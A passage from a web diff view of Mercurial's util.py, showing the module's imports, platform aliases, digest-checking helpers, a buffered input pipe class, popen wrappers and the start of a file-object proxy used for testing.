##// END OF EJS Templates
util: report integer result from write()...
Gregory Szorc -
r36649:8395fddd default
parent child Browse files
Show More
@@ -1,4054 +1,4059 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import codecs
20 import codecs
21 import collections
21 import collections
22 import contextlib
22 import contextlib
23 import errno
23 import errno
24 import gc
24 import gc
25 import hashlib
25 import hashlib
26 import imp
26 import imp
27 import io
27 import io
28 import itertools
28 import itertools
29 import mmap
29 import mmap
30 import os
30 import os
31 import platform as pyplatform
31 import platform as pyplatform
32 import re as remod
32 import re as remod
33 import shutil
33 import shutil
34 import signal
34 import signal
35 import socket
35 import socket
36 import stat
36 import stat
37 import string
37 import string
38 import subprocess
38 import subprocess
39 import sys
39 import sys
40 import tempfile
40 import tempfile
41 import textwrap
41 import textwrap
42 import time
42 import time
43 import traceback
43 import traceback
44 import warnings
44 import warnings
45 import zlib
45 import zlib
46
46
47 from . import (
47 from . import (
48 encoding,
48 encoding,
49 error,
49 error,
50 i18n,
50 i18n,
51 node as nodemod,
51 node as nodemod,
52 policy,
52 policy,
53 pycompat,
53 pycompat,
54 urllibcompat,
54 urllibcompat,
55 )
55 )
56 from .utils import dateutil
56 from .utils import dateutil
57
57
58 base85 = policy.importmod(r'base85')
58 base85 = policy.importmod(r'base85')
59 osutil = policy.importmod(r'osutil')
59 osutil = policy.importmod(r'osutil')
60 parsers = policy.importmod(r'parsers')
60 parsers = policy.importmod(r'parsers')
61
61
62 b85decode = base85.b85decode
62 b85decode = base85.b85decode
63 b85encode = base85.b85encode
63 b85encode = base85.b85encode
64
64
65 cookielib = pycompat.cookielib
65 cookielib = pycompat.cookielib
66 empty = pycompat.empty
66 empty = pycompat.empty
67 httplib = pycompat.httplib
67 httplib = pycompat.httplib
68 pickle = pycompat.pickle
68 pickle = pycompat.pickle
69 queue = pycompat.queue
69 queue = pycompat.queue
70 socketserver = pycompat.socketserver
70 socketserver = pycompat.socketserver
71 stderr = pycompat.stderr
71 stderr = pycompat.stderr
72 stdin = pycompat.stdin
72 stdin = pycompat.stdin
73 stdout = pycompat.stdout
73 stdout = pycompat.stdout
74 stringio = pycompat.stringio
74 stringio = pycompat.stringio
75 xmlrpclib = pycompat.xmlrpclib
75 xmlrpclib = pycompat.xmlrpclib
76
76
77 httpserver = urllibcompat.httpserver
77 httpserver = urllibcompat.httpserver
78 urlerr = urllibcompat.urlerr
78 urlerr = urllibcompat.urlerr
79 urlreq = urllibcompat.urlreq
79 urlreq = urllibcompat.urlreq
80
80
81 # workaround for win32mbcs
81 # workaround for win32mbcs
82 _filenamebytestr = pycompat.bytestr
82 _filenamebytestr = pycompat.bytestr
83
83
84 def isatty(fp):
84 def isatty(fp):
85 try:
85 try:
86 return fp.isatty()
86 return fp.isatty()
87 except AttributeError:
87 except AttributeError:
88 return False
88 return False
89
89
90 # glibc determines buffering on first write to stdout - if we replace a TTY
90 # glibc determines buffering on first write to stdout - if we replace a TTY
91 # destined stdout with a pipe destined stdout (e.g. pager), we want line
91 # destined stdout with a pipe destined stdout (e.g. pager), we want line
92 # buffering
92 # buffering
93 if isatty(stdout):
93 if isatty(stdout):
94 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
94 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
95
95
96 if pycompat.iswindows:
96 if pycompat.iswindows:
97 from . import windows as platform
97 from . import windows as platform
98 stdout = platform.winstdout(stdout)
98 stdout = platform.winstdout(stdout)
99 else:
99 else:
100 from . import posix as platform
100 from . import posix as platform
101
101
102 _ = i18n._
102 _ = i18n._
103
103
104 bindunixsocket = platform.bindunixsocket
104 bindunixsocket = platform.bindunixsocket
105 cachestat = platform.cachestat
105 cachestat = platform.cachestat
106 checkexec = platform.checkexec
106 checkexec = platform.checkexec
107 checklink = platform.checklink
107 checklink = platform.checklink
108 copymode = platform.copymode
108 copymode = platform.copymode
109 executablepath = platform.executablepath
109 executablepath = platform.executablepath
110 expandglobs = platform.expandglobs
110 expandglobs = platform.expandglobs
111 explainexit = platform.explainexit
111 explainexit = platform.explainexit
112 findexe = platform.findexe
112 findexe = platform.findexe
113 getfsmountpoint = platform.getfsmountpoint
113 getfsmountpoint = platform.getfsmountpoint
114 getfstype = platform.getfstype
114 getfstype = platform.getfstype
115 gethgcmd = platform.gethgcmd
115 gethgcmd = platform.gethgcmd
116 getuser = platform.getuser
116 getuser = platform.getuser
117 getpid = os.getpid
117 getpid = os.getpid
118 groupmembers = platform.groupmembers
118 groupmembers = platform.groupmembers
119 groupname = platform.groupname
119 groupname = platform.groupname
120 hidewindow = platform.hidewindow
120 hidewindow = platform.hidewindow
121 isexec = platform.isexec
121 isexec = platform.isexec
122 isowner = platform.isowner
122 isowner = platform.isowner
123 listdir = osutil.listdir
123 listdir = osutil.listdir
124 localpath = platform.localpath
124 localpath = platform.localpath
125 lookupreg = platform.lookupreg
125 lookupreg = platform.lookupreg
126 makedir = platform.makedir
126 makedir = platform.makedir
127 nlinks = platform.nlinks
127 nlinks = platform.nlinks
128 normpath = platform.normpath
128 normpath = platform.normpath
129 normcase = platform.normcase
129 normcase = platform.normcase
130 normcasespec = platform.normcasespec
130 normcasespec = platform.normcasespec
131 normcasefallback = platform.normcasefallback
131 normcasefallback = platform.normcasefallback
132 openhardlinks = platform.openhardlinks
132 openhardlinks = platform.openhardlinks
133 oslink = platform.oslink
133 oslink = platform.oslink
134 parsepatchoutput = platform.parsepatchoutput
134 parsepatchoutput = platform.parsepatchoutput
135 pconvert = platform.pconvert
135 pconvert = platform.pconvert
136 poll = platform.poll
136 poll = platform.poll
137 popen = platform.popen
137 popen = platform.popen
138 posixfile = platform.posixfile
138 posixfile = platform.posixfile
139 quotecommand = platform.quotecommand
139 quotecommand = platform.quotecommand
140 readpipe = platform.readpipe
140 readpipe = platform.readpipe
141 rename = platform.rename
141 rename = platform.rename
142 removedirs = platform.removedirs
142 removedirs = platform.removedirs
143 samedevice = platform.samedevice
143 samedevice = platform.samedevice
144 samefile = platform.samefile
144 samefile = platform.samefile
145 samestat = platform.samestat
145 samestat = platform.samestat
146 setbinary = platform.setbinary
146 setbinary = platform.setbinary
147 setflags = platform.setflags
147 setflags = platform.setflags
148 setsignalhandler = platform.setsignalhandler
148 setsignalhandler = platform.setsignalhandler
149 shellquote = platform.shellquote
149 shellquote = platform.shellquote
150 shellsplit = platform.shellsplit
150 shellsplit = platform.shellsplit
151 spawndetached = platform.spawndetached
151 spawndetached = platform.spawndetached
152 split = platform.split
152 split = platform.split
153 sshargs = platform.sshargs
153 sshargs = platform.sshargs
154 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
154 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
155 statisexec = platform.statisexec
155 statisexec = platform.statisexec
156 statislink = platform.statislink
156 statislink = platform.statislink
157 testpid = platform.testpid
157 testpid = platform.testpid
158 umask = platform.umask
158 umask = platform.umask
159 unlink = platform.unlink
159 unlink = platform.unlink
160 username = platform.username
160 username = platform.username
161
161
162 try:
162 try:
163 recvfds = osutil.recvfds
163 recvfds = osutil.recvfds
164 except AttributeError:
164 except AttributeError:
165 pass
165 pass
166 try:
166 try:
167 setprocname = osutil.setprocname
167 setprocname = osutil.setprocname
168 except AttributeError:
168 except AttributeError:
169 pass
169 pass
170 try:
170 try:
171 unblocksignal = osutil.unblocksignal
171 unblocksignal = osutil.unblocksignal
172 except AttributeError:
172 except AttributeError:
173 pass
173 pass
174
174
175 # Python compatibility
175 # Python compatibility
176
176
177 _notset = object()
177 _notset = object()
178
178
179 # disable Python's problematic floating point timestamps (issue4836)
179 # disable Python's problematic floating point timestamps (issue4836)
180 # (Python hypocritically says you shouldn't change this behavior in
180 # (Python hypocritically says you shouldn't change this behavior in
181 # libraries, and sure enough Mercurial is not a library.)
181 # libraries, and sure enough Mercurial is not a library.)
182 os.stat_float_times(False)
182 os.stat_float_times(False)
183
183
184 def safehasattr(thing, attr):
184 def safehasattr(thing, attr):
185 return getattr(thing, attr, _notset) is not _notset
185 return getattr(thing, attr, _notset) is not _notset
186
186
187 def _rapply(f, xs):
187 def _rapply(f, xs):
188 if xs is None:
188 if xs is None:
189 # assume None means non-value of optional data
189 # assume None means non-value of optional data
190 return xs
190 return xs
191 if isinstance(xs, (list, set, tuple)):
191 if isinstance(xs, (list, set, tuple)):
192 return type(xs)(_rapply(f, x) for x in xs)
192 return type(xs)(_rapply(f, x) for x in xs)
193 if isinstance(xs, dict):
193 if isinstance(xs, dict):
194 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
194 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
195 return f(xs)
195 return f(xs)
196
196
197 def rapply(f, xs):
197 def rapply(f, xs):
198 """Apply function recursively to every item preserving the data structure
198 """Apply function recursively to every item preserving the data structure
199
199
200 >>> def f(x):
200 >>> def f(x):
201 ... return 'f(%s)' % x
201 ... return 'f(%s)' % x
202 >>> rapply(f, None) is None
202 >>> rapply(f, None) is None
203 True
203 True
204 >>> rapply(f, 'a')
204 >>> rapply(f, 'a')
205 'f(a)'
205 'f(a)'
206 >>> rapply(f, {'a'}) == {'f(a)'}
206 >>> rapply(f, {'a'}) == {'f(a)'}
207 True
207 True
208 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
208 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
209 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
209 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
210
210
211 >>> xs = [object()]
211 >>> xs = [object()]
212 >>> rapply(pycompat.identity, xs) is xs
212 >>> rapply(pycompat.identity, xs) is xs
213 True
213 True
214 """
214 """
215 if f is pycompat.identity:
215 if f is pycompat.identity:
216 # fast path mainly for py2
216 # fast path mainly for py2
217 return xs
217 return xs
218 return _rapply(f, xs)
218 return _rapply(f, xs)
219
219
220 def bytesinput(fin, fout, *args, **kwargs):
220 def bytesinput(fin, fout, *args, **kwargs):
221 sin, sout = sys.stdin, sys.stdout
221 sin, sout = sys.stdin, sys.stdout
222 try:
222 try:
223 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
223 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
224 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
224 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
225 finally:
225 finally:
226 sys.stdin, sys.stdout = sin, sout
226 sys.stdin, sys.stdout = sin, sout
227
227
228 def bitsfrom(container):
228 def bitsfrom(container):
229 bits = 0
229 bits = 0
230 for bit in container:
230 for bit in container:
231 bits |= bit
231 bits |= bit
232 return bits
232 return bits
233
233
234 # python 2.6 still have deprecation warning enabled by default. We do not want
234 # python 2.6 still have deprecation warning enabled by default. We do not want
235 # to display anything to standard user so detect if we are running test and
235 # to display anything to standard user so detect if we are running test and
236 # only use python deprecation warning in this case.
236 # only use python deprecation warning in this case.
237 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
237 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
238 if _dowarn:
238 if _dowarn:
239 # explicitly unfilter our warning for python 2.7
239 # explicitly unfilter our warning for python 2.7
240 #
240 #
241 # The option of setting PYTHONWARNINGS in the test runner was investigated.
241 # The option of setting PYTHONWARNINGS in the test runner was investigated.
242 # However, module name set through PYTHONWARNINGS was exactly matched, so
242 # However, module name set through PYTHONWARNINGS was exactly matched, so
243 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
243 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
244 # makes the whole PYTHONWARNINGS thing useless for our usecase.
244 # makes the whole PYTHONWARNINGS thing useless for our usecase.
245 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
245 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
246 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
246 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
247 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
247 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
248 if _dowarn and pycompat.ispy3:
248 if _dowarn and pycompat.ispy3:
249 # silence warning emitted by passing user string to re.sub()
249 # silence warning emitted by passing user string to re.sub()
250 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
250 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
251 r'mercurial')
251 r'mercurial')
252
252
253 def nouideprecwarn(msg, version, stacklevel=1):
253 def nouideprecwarn(msg, version, stacklevel=1):
254 """Issue an python native deprecation warning
254 """Issue an python native deprecation warning
255
255
256 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
256 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
257 """
257 """
258 if _dowarn:
258 if _dowarn:
259 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
259 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
260 " update your code.)") % version
260 " update your code.)") % version
261 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
261 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
262
262
263 DIGESTS = {
263 DIGESTS = {
264 'md5': hashlib.md5,
264 'md5': hashlib.md5,
265 'sha1': hashlib.sha1,
265 'sha1': hashlib.sha1,
266 'sha512': hashlib.sha512,
266 'sha512': hashlib.sha512,
267 }
267 }
268 # List of digest types from strongest to weakest
268 # List of digest types from strongest to weakest
269 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
269 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
270
270
271 for k in DIGESTS_BY_STRENGTH:
271 for k in DIGESTS_BY_STRENGTH:
272 assert k in DIGESTS
272 assert k in DIGESTS
273
273
274 class digester(object):
274 class digester(object):
275 """helper to compute digests.
275 """helper to compute digests.
276
276
277 This helper can be used to compute one or more digests given their name.
277 This helper can be used to compute one or more digests given their name.
278
278
279 >>> d = digester([b'md5', b'sha1'])
279 >>> d = digester([b'md5', b'sha1'])
280 >>> d.update(b'foo')
280 >>> d.update(b'foo')
281 >>> [k for k in sorted(d)]
281 >>> [k for k in sorted(d)]
282 ['md5', 'sha1']
282 ['md5', 'sha1']
283 >>> d[b'md5']
283 >>> d[b'md5']
284 'acbd18db4cc2f85cedef654fccc4a4d8'
284 'acbd18db4cc2f85cedef654fccc4a4d8'
285 >>> d[b'sha1']
285 >>> d[b'sha1']
286 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
286 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
287 >>> digester.preferred([b'md5', b'sha1'])
287 >>> digester.preferred([b'md5', b'sha1'])
288 'sha1'
288 'sha1'
289 """
289 """
290
290
291 def __init__(self, digests, s=''):
291 def __init__(self, digests, s=''):
292 self._hashes = {}
292 self._hashes = {}
293 for k in digests:
293 for k in digests:
294 if k not in DIGESTS:
294 if k not in DIGESTS:
295 raise Abort(_('unknown digest type: %s') % k)
295 raise Abort(_('unknown digest type: %s') % k)
296 self._hashes[k] = DIGESTS[k]()
296 self._hashes[k] = DIGESTS[k]()
297 if s:
297 if s:
298 self.update(s)
298 self.update(s)
299
299
300 def update(self, data):
300 def update(self, data):
301 for h in self._hashes.values():
301 for h in self._hashes.values():
302 h.update(data)
302 h.update(data)
303
303
304 def __getitem__(self, key):
304 def __getitem__(self, key):
305 if key not in DIGESTS:
305 if key not in DIGESTS:
306 raise Abort(_('unknown digest type: %s') % k)
306 raise Abort(_('unknown digest type: %s') % k)
307 return nodemod.hex(self._hashes[key].digest())
307 return nodemod.hex(self._hashes[key].digest())
308
308
309 def __iter__(self):
309 def __iter__(self):
310 return iter(self._hashes)
310 return iter(self._hashes)
311
311
312 @staticmethod
312 @staticmethod
313 def preferred(supported):
313 def preferred(supported):
314 """returns the strongest digest type in both supported and DIGESTS."""
314 """returns the strongest digest type in both supported and DIGESTS."""
315
315
316 for k in DIGESTS_BY_STRENGTH:
316 for k in DIGESTS_BY_STRENGTH:
317 if k in supported:
317 if k in supported:
318 return k
318 return k
319 return None
319 return None
320
320
321 class digestchecker(object):
321 class digestchecker(object):
322 """file handle wrapper that additionally checks content against a given
322 """file handle wrapper that additionally checks content against a given
323 size and digests.
323 size and digests.
324
324
325 d = digestchecker(fh, size, {'md5': '...'})
325 d = digestchecker(fh, size, {'md5': '...'})
326
326
327 When multiple digests are given, all of them are validated.
327 When multiple digests are given, all of them are validated.
328 """
328 """
329
329
330 def __init__(self, fh, size, digests):
330 def __init__(self, fh, size, digests):
331 self._fh = fh
331 self._fh = fh
332 self._size = size
332 self._size = size
333 self._got = 0
333 self._got = 0
334 self._digests = dict(digests)
334 self._digests = dict(digests)
335 self._digester = digester(self._digests.keys())
335 self._digester = digester(self._digests.keys())
336
336
337 def read(self, length=-1):
337 def read(self, length=-1):
338 content = self._fh.read(length)
338 content = self._fh.read(length)
339 self._digester.update(content)
339 self._digester.update(content)
340 self._got += len(content)
340 self._got += len(content)
341 return content
341 return content
342
342
343 def validate(self):
343 def validate(self):
344 if self._size != self._got:
344 if self._size != self._got:
345 raise Abort(_('size mismatch: expected %d, got %d') %
345 raise Abort(_('size mismatch: expected %d, got %d') %
346 (self._size, self._got))
346 (self._size, self._got))
347 for k, v in self._digests.items():
347 for k, v in self._digests.items():
348 if v != self._digester[k]:
348 if v != self._digester[k]:
349 # i18n: first parameter is a digest name
349 # i18n: first parameter is a digest name
350 raise Abort(_('%s mismatch: expected %s, got %s') %
350 raise Abort(_('%s mismatch: expected %s, got %s') %
351 (k, v, self._digester[k]))
351 (k, v, self._digester[k]))
352
352
353 try:
353 try:
354 buffer = buffer
354 buffer = buffer
355 except NameError:
355 except NameError:
356 def buffer(sliceable, offset=0, length=None):
356 def buffer(sliceable, offset=0, length=None):
357 if length is not None:
357 if length is not None:
358 return memoryview(sliceable)[offset:offset + length]
358 return memoryview(sliceable)[offset:offset + length]
359 return memoryview(sliceable)[offset:]
359 return memoryview(sliceable)[offset:]
360
360
361 closefds = pycompat.isposix
361 closefds = pycompat.isposix
362
362
363 _chunksize = 4096
363 _chunksize = 4096
364
364
365 class bufferedinputpipe(object):
365 class bufferedinputpipe(object):
366 """a manually buffered input pipe
366 """a manually buffered input pipe
367
367
368 Python will not let us use buffered IO and lazy reading with 'polling' at
368 Python will not let us use buffered IO and lazy reading with 'polling' at
369 the same time. We cannot probe the buffer state and select will not detect
369 the same time. We cannot probe the buffer state and select will not detect
370 that data are ready to read if they are already buffered.
370 that data are ready to read if they are already buffered.
371
371
372 This class let us work around that by implementing its own buffering
372 This class let us work around that by implementing its own buffering
373 (allowing efficient readline) while offering a way to know if the buffer is
373 (allowing efficient readline) while offering a way to know if the buffer is
374 empty from the output (allowing collaboration of the buffer with polling).
374 empty from the output (allowing collaboration of the buffer with polling).
375
375
376 This class lives in the 'util' module because it makes use of the 'os'
376 This class lives in the 'util' module because it makes use of the 'os'
377 module from the python stdlib.
377 module from the python stdlib.
378 """
378 """
379 def __new__(cls, fh):
379 def __new__(cls, fh):
380 # If we receive a fileobjectproxy, we need to use a variation of this
380 # If we receive a fileobjectproxy, we need to use a variation of this
381 # class that notifies observers about activity.
381 # class that notifies observers about activity.
382 if isinstance(fh, fileobjectproxy):
382 if isinstance(fh, fileobjectproxy):
383 cls = observedbufferedinputpipe
383 cls = observedbufferedinputpipe
384
384
385 return super(bufferedinputpipe, cls).__new__(cls)
385 return super(bufferedinputpipe, cls).__new__(cls)
386
386
387 def __init__(self, input):
387 def __init__(self, input):
388 self._input = input
388 self._input = input
389 self._buffer = []
389 self._buffer = []
390 self._eof = False
390 self._eof = False
391 self._lenbuf = 0
391 self._lenbuf = 0
392
392
393 @property
393 @property
394 def hasbuffer(self):
394 def hasbuffer(self):
395 """True is any data is currently buffered
395 """True is any data is currently buffered
396
396
397 This will be used externally a pre-step for polling IO. If there is
397 This will be used externally a pre-step for polling IO. If there is
398 already data then no polling should be set in place."""
398 already data then no polling should be set in place."""
399 return bool(self._buffer)
399 return bool(self._buffer)
400
400
401 @property
401 @property
402 def closed(self):
402 def closed(self):
403 return self._input.closed
403 return self._input.closed
404
404
405 def fileno(self):
405 def fileno(self):
406 return self._input.fileno()
406 return self._input.fileno()
407
407
408 def close(self):
408 def close(self):
409 return self._input.close()
409 return self._input.close()
410
410
411 def read(self, size):
411 def read(self, size):
412 while (not self._eof) and (self._lenbuf < size):
412 while (not self._eof) and (self._lenbuf < size):
413 self._fillbuffer()
413 self._fillbuffer()
414 return self._frombuffer(size)
414 return self._frombuffer(size)
415
415
416 def readline(self, *args, **kwargs):
416 def readline(self, *args, **kwargs):
417 if 1 < len(self._buffer):
417 if 1 < len(self._buffer):
418 # this should not happen because both read and readline end with a
418 # this should not happen because both read and readline end with a
419 # _frombuffer call that collapse it.
419 # _frombuffer call that collapse it.
420 self._buffer = [''.join(self._buffer)]
420 self._buffer = [''.join(self._buffer)]
421 self._lenbuf = len(self._buffer[0])
421 self._lenbuf = len(self._buffer[0])
422 lfi = -1
422 lfi = -1
423 if self._buffer:
423 if self._buffer:
424 lfi = self._buffer[-1].find('\n')
424 lfi = self._buffer[-1].find('\n')
425 while (not self._eof) and lfi < 0:
425 while (not self._eof) and lfi < 0:
426 self._fillbuffer()
426 self._fillbuffer()
427 if self._buffer:
427 if self._buffer:
428 lfi = self._buffer[-1].find('\n')
428 lfi = self._buffer[-1].find('\n')
429 size = lfi + 1
429 size = lfi + 1
430 if lfi < 0: # end of file
430 if lfi < 0: # end of file
431 size = self._lenbuf
431 size = self._lenbuf
432 elif 1 < len(self._buffer):
432 elif 1 < len(self._buffer):
433 # we need to take previous chunks into account
433 # we need to take previous chunks into account
434 size += self._lenbuf - len(self._buffer[-1])
434 size += self._lenbuf - len(self._buffer[-1])
435 return self._frombuffer(size)
435 return self._frombuffer(size)
436
436
437 def _frombuffer(self, size):
437 def _frombuffer(self, size):
438 """return at most 'size' data from the buffer
438 """return at most 'size' data from the buffer
439
439
440 The data are removed from the buffer."""
440 The data are removed from the buffer."""
441 if size == 0 or not self._buffer:
441 if size == 0 or not self._buffer:
442 return ''
442 return ''
443 buf = self._buffer[0]
443 buf = self._buffer[0]
444 if 1 < len(self._buffer):
444 if 1 < len(self._buffer):
445 buf = ''.join(self._buffer)
445 buf = ''.join(self._buffer)
446
446
447 data = buf[:size]
447 data = buf[:size]
448 buf = buf[len(data):]
448 buf = buf[len(data):]
449 if buf:
449 if buf:
450 self._buffer = [buf]
450 self._buffer = [buf]
451 self._lenbuf = len(buf)
451 self._lenbuf = len(buf)
452 else:
452 else:
453 self._buffer = []
453 self._buffer = []
454 self._lenbuf = 0
454 self._lenbuf = 0
455 return data
455 return data
456
456
457 def _fillbuffer(self):
457 def _fillbuffer(self):
458 """read data to the buffer"""
458 """read data to the buffer"""
459 data = os.read(self._input.fileno(), _chunksize)
459 data = os.read(self._input.fileno(), _chunksize)
460 if not data:
460 if not data:
461 self._eof = True
461 self._eof = True
462 else:
462 else:
463 self._lenbuf += len(data)
463 self._lenbuf += len(data)
464 self._buffer.append(data)
464 self._buffer.append(data)
465
465
466 return data
466 return data
467
467
468 def mmapread(fp):
468 def mmapread(fp):
469 try:
469 try:
470 fd = getattr(fp, 'fileno', lambda: fp)()
470 fd = getattr(fp, 'fileno', lambda: fp)()
471 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
471 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
472 except ValueError:
472 except ValueError:
473 # Empty files cannot be mmapped, but mmapread should still work. Check
473 # Empty files cannot be mmapped, but mmapread should still work. Check
474 # if the file is empty, and if so, return an empty buffer.
474 # if the file is empty, and if so, return an empty buffer.
475 if os.fstat(fd).st_size == 0:
475 if os.fstat(fd).st_size == 0:
476 return ''
476 return ''
477 raise
477 raise
478
478
479 def popen2(cmd, env=None, newlines=False):
479 def popen2(cmd, env=None, newlines=False):
480 # Setting bufsize to -1 lets the system decide the buffer size.
480 # Setting bufsize to -1 lets the system decide the buffer size.
481 # The default for bufsize is 0, meaning unbuffered. This leads to
481 # The default for bufsize is 0, meaning unbuffered. This leads to
482 # poor performance on Mac OS X: http://bugs.python.org/issue4194
482 # poor performance on Mac OS X: http://bugs.python.org/issue4194
483 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
483 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
484 close_fds=closefds,
484 close_fds=closefds,
485 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
485 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
486 universal_newlines=newlines,
486 universal_newlines=newlines,
487 env=env)
487 env=env)
488 return p.stdin, p.stdout
488 return p.stdin, p.stdout
489
489
490 def popen3(cmd, env=None, newlines=False):
490 def popen3(cmd, env=None, newlines=False):
491 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
491 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
492 return stdin, stdout, stderr
492 return stdin, stdout, stderr
493
493
494 def popen4(cmd, env=None, newlines=False, bufsize=-1):
494 def popen4(cmd, env=None, newlines=False, bufsize=-1):
495 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
495 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
496 close_fds=closefds,
496 close_fds=closefds,
497 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
497 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
498 stderr=subprocess.PIPE,
498 stderr=subprocess.PIPE,
499 universal_newlines=newlines,
499 universal_newlines=newlines,
500 env=env)
500 env=env)
501 return p.stdin, p.stdout, p.stderr, p
501 return p.stdin, p.stdout, p.stderr, p
502
502
503 class fileobjectproxy(object):
503 class fileobjectproxy(object):
504 """A proxy around file objects that tells a watcher when events occur.
504 """A proxy around file objects that tells a watcher when events occur.
505
505
506 This type is intended to only be used for testing purposes. Think hard
506 This type is intended to only be used for testing purposes. Think hard
507 before using it in important code.
507 before using it in important code.
508 """
508 """
509 __slots__ = (
509 __slots__ = (
510 r'_orig',
510 r'_orig',
511 r'_observer',
511 r'_observer',
512 )
512 )
513
513
514 def __init__(self, fh, observer):
514 def __init__(self, fh, observer):
515 object.__setattr__(self, r'_orig', fh)
515 object.__setattr__(self, r'_orig', fh)
516 object.__setattr__(self, r'_observer', observer)
516 object.__setattr__(self, r'_observer', observer)
517
517
518 def __getattribute__(self, name):
518 def __getattribute__(self, name):
519 ours = {
519 ours = {
520 r'_observer',
520 r'_observer',
521
521
522 # IOBase
522 # IOBase
523 r'close',
523 r'close',
524 # closed if a property
524 # closed if a property
525 r'fileno',
525 r'fileno',
526 r'flush',
526 r'flush',
527 r'isatty',
527 r'isatty',
528 r'readable',
528 r'readable',
529 r'readline',
529 r'readline',
530 r'readlines',
530 r'readlines',
531 r'seek',
531 r'seek',
532 r'seekable',
532 r'seekable',
533 r'tell',
533 r'tell',
534 r'truncate',
534 r'truncate',
535 r'writable',
535 r'writable',
536 r'writelines',
536 r'writelines',
537 # RawIOBase
537 # RawIOBase
538 r'read',
538 r'read',
539 r'readall',
539 r'readall',
540 r'readinto',
540 r'readinto',
541 r'write',
541 r'write',
542 # BufferedIOBase
542 # BufferedIOBase
543 # raw is a property
543 # raw is a property
544 r'detach',
544 r'detach',
545 # read defined above
545 # read defined above
546 r'read1',
546 r'read1',
547 # readinto defined above
547 # readinto defined above
548 # write defined above
548 # write defined above
549 }
549 }
550
550
551 # We only observe some methods.
551 # We only observe some methods.
552 if name in ours:
552 if name in ours:
553 return object.__getattribute__(self, name)
553 return object.__getattribute__(self, name)
554
554
555 return getattr(object.__getattribute__(self, r'_orig'), name)
555 return getattr(object.__getattribute__(self, r'_orig'), name)
556
556
557 def __delattr__(self, name):
557 def __delattr__(self, name):
558 return delattr(object.__getattribute__(self, r'_orig'), name)
558 return delattr(object.__getattribute__(self, r'_orig'), name)
559
559
560 def __setattr__(self, name, value):
560 def __setattr__(self, name, value):
561 return setattr(object.__getattribute__(self, r'_orig'), name, value)
561 return setattr(object.__getattribute__(self, r'_orig'), name, value)
562
562
563 def __iter__(self):
563 def __iter__(self):
564 return object.__getattribute__(self, r'_orig').__iter__()
564 return object.__getattribute__(self, r'_orig').__iter__()
565
565
566 def _observedcall(self, name, *args, **kwargs):
566 def _observedcall(self, name, *args, **kwargs):
567 # Call the original object.
567 # Call the original object.
568 orig = object.__getattribute__(self, r'_orig')
568 orig = object.__getattribute__(self, r'_orig')
569 res = getattr(orig, name)(*args, **kwargs)
569 res = getattr(orig, name)(*args, **kwargs)
570
570
571 # Call a method on the observer of the same name with arguments
571 # Call a method on the observer of the same name with arguments
